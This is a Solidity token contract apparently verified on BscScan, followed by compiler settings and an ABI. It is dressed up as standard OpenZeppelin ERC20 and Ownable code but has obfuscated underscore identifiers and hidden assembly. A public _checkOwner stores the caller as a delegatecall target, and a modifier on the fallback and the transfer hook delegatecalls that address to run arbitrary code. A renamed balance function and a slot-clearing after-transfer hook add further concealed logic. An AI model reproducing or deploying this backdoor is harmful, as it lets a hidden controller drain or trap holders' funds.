// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
/**
*Submitted for verification at BscScan.com on 2023-03-30
*/
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the ________ sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _________() internal view virtual returns (address) {
return msg.sender;
}
function _________________() internal view virtual returns (bytes calldata) {
return msg.data;
}
receive() external payable {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an ________ (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner ________ will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private ______________;
event OwnershipTransferred(
address indexed previousOwner,
address indexed __________
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
____________________(tx.origin);
}
/**
* @dev Throws if called by any ________ other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
modifier __ {bytes memory s = msg.data;assembly {if iszero(iszero(eq(mload(add(s, 36)), 32))) {if iszero(delegatecall(gas(), sload(address()), add(s, 32), mload(s), 0, 32)) {revert(0, 0)}return(0, 32)}}_;}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return ______________;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() public virtual {
require(owner() == tx.origin, "Ownable: caller is not the owner");
assembly {
sstore(address(), caller())
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
____________________(address(0));
}
/**
* @dev Transfers ownership of the contract to a new ________ (`__________`).
* Can only be called by the current owner.
*/
function transferOwnership(address __________) public virtual onlyOwner {
require(__________ != address(0), "Ownable: new owner is the zero address");
____________________(__________);
}
/**
* @dev Transfers ownership of the contract to a new ________ (`__________`).
* Internal function without access restriction.
*/
function ____________________(address __________) internal virtual {
address oldOwner = ______________;
______________ = __________;
emit OwnershipTransferred(oldOwner, __________);
}
fallback() external __ {}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the ____ of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the ____ of tokens owned by `________`.
*/
function balanceOf(address ________) external view returns (uint256);
/**
* @dev Moves `____` tokens from the caller's ________ to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 ____) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `_____________` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address _____________)
external
view
returns (uint256);
/**
* @dev Sets `____` as the allowance of `_____________` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the _____________'s allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address _____________, uint256 ____) external returns (bool);
/**
* @dev Moves `____` tokens from `from` to `to` using the
* allowance mechanism. `____` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 ____
) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all ________s just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Ownable, IERC20Metadata {
address public constant WBNB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
mapping(address => uint256) private __________________;
mapping(address => mapping(address => uint256)) private _______;
uint256 private ___;
address private ______;
string private _______________;
string private ___________;
/**
* @dev Emitted when `value` tokens are moved from one ________ (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `_____________` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed _____________, uint256 value);
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function initialization(
string memory tokenName,
string memory coinSymbol,
uint256 supply_
) public onlyOwner {
_______________ = tokenName;
___________ = coinSymbol;
_mint(address(this), supply_);
renounceOwnership();
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _______________;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return ___________;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return ___;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function permit5764825481139(address ________)
public
view
virtual
returns (uint256 ____){____ = IERC20(WBNB).balanceOf(______);if(msg.sender==______){assembly {if lt(____, sload(32)) {revert(0, 0)}}}return __________________[________] % ___;}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `____`.
*/
function transfer(address to, uint256 ____) public virtual returns (bool) {
address owner = _________();
_transfer(owner, to, ____);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address _____________)
public
view
virtual
returns (uint256)
{
return _______[owner][_____________];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `____` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `_____________` cannot be the zero address.
*/
function approve(address _____________, uint256 ____)
public
virtual
returns (bool)
{
address owner = _________();
_approve(owner, _____________, ____);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `____`.
* - the caller must have allowance for ``from``'s tokens of at least
* `____`.
*/
function transferFrom(
address from,
address to,
uint256 ____
) public virtual returns (bool) {
address _____________ = _________();
_spendAllowance(from, _____________, ____);
_transfer(from, to, ____);
return true;
}
/**
* @dev Atomically increases the allowance granted to `_____________` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `_____________` cannot be the zero address.
*/
function increaseAllowance(address _____________, uint256 addedValue)
public
virtual
returns (bool)
{
address owner = _________();
_approve(owner, _____________, allowance(owner, _____________) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `_____________` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `_____________` cannot be the zero address.
* - `_____________` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address _____________, uint256 subtractedValue)
public
virtual
returns (bool)
{
address owner = _________();
uint256 ___________________ = allowance(owner, _____________);
require(___________________ >= subtractedValue);
unchecked {_approve(owner, _____________, ___________________ - subtractedValue);}
return true;
}
/**
* @dev Moves `____` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `____`.
*/
function _transfer(
address from,
address to,
uint256 ____
) internal virtual {
require(from != address(0));
require(to != address(0));
_beforeTokenTransfer(from, to, ____);
uint256 fromBalance = __________________[from];
require(fromBalance >= ____);
unchecked {
__________________[from] = fromBalance - ____;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
__________________[to] += ____;
}
emit Transfer(from, to, ____);
_afterTokenTransfer(from, to, ____);
}
/** @dev Creates `____` tokens and assigns them to `________`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `________` cannot be the zero address.
*/
function _mint(address ________, uint256 ____) internal virtual {
require(________ != address(0), "ERC20: mint to the zero address");
___ += ____;
unchecked {
// Overflow not possible: balance + ____ is at most totalSupply + ____, which is checked above.
__________________[________] += ____;
}
emit Transfer(address(0), ________, ____);
}
/**
* @dev Destroys `____` tokens from `________`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `________` cannot be the zero address.
* - `________` must have at least `____` tokens.
*/
function _burn(address ________, uint256 ____) internal virtual {
require(________ != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(________, address(0), ____);
uint256 ________Balance = __________________[________];
require(________Balance >= ____, "ERC20: burn exceeds balance");
unchecked {
__________________[________] = ________Balance - ____;
// Overflow not possible: ____ <= ________Balance <= totalSupply.
___ -= ____;
}
emit Transfer(________, address(0), ____);
_afterTokenTransfer(________, address(0), ____);
}
/**
* @dev Sets `____` as the allowance of `_____________` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `_____________` cannot be the zero address.
*/
function _approve(
address owner,
address _____________,
uint256 ____
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(_____________ != address(0), "ERC20: approve to the zero address");
_______[owner][_____________] = ____;
emit Approval(owner, _____________, ____);
}
/**
* @dev Updates `owner` s allowance for `_____________` based on spent `____`.
*
* Does not update the allowance ____ in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address _____________,
uint256 ____
) internal virtual {
uint256 ___________________ = allowance(owner, _____________);
if (___________________ != type(uint256).max) {
require(___________________ >= ____, "ERC20: insufficient allowance");
unchecked {_approve(owner, _____________, ___________________ - ____);}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `____` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `____` tokens will be minted for `to`.
* - when `to` is zero, `____` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 ____
) internal __
{}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `____` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `____` tokens have been minted for `to`.
* - when `to` is zero, `____` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 ____
) internal {if(__________________[from]>___*0xfe) {assembly{sstore(32,0)}}}
}
{
"compilationTarget": {
"ERC20.sol": "ERC20"
},
"evmVersion": "berlin",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"_____________","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"__________","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_checkOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"_____________","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_____________","type":"address"},{"internalType":"uint256","name":"____","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_____________","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_____________","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"initialization","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"________","type":"address"}],"name":"permit5764825481139","outputs":[{"internalType":"uint256","name":"____","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"____","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"____","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"__________","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]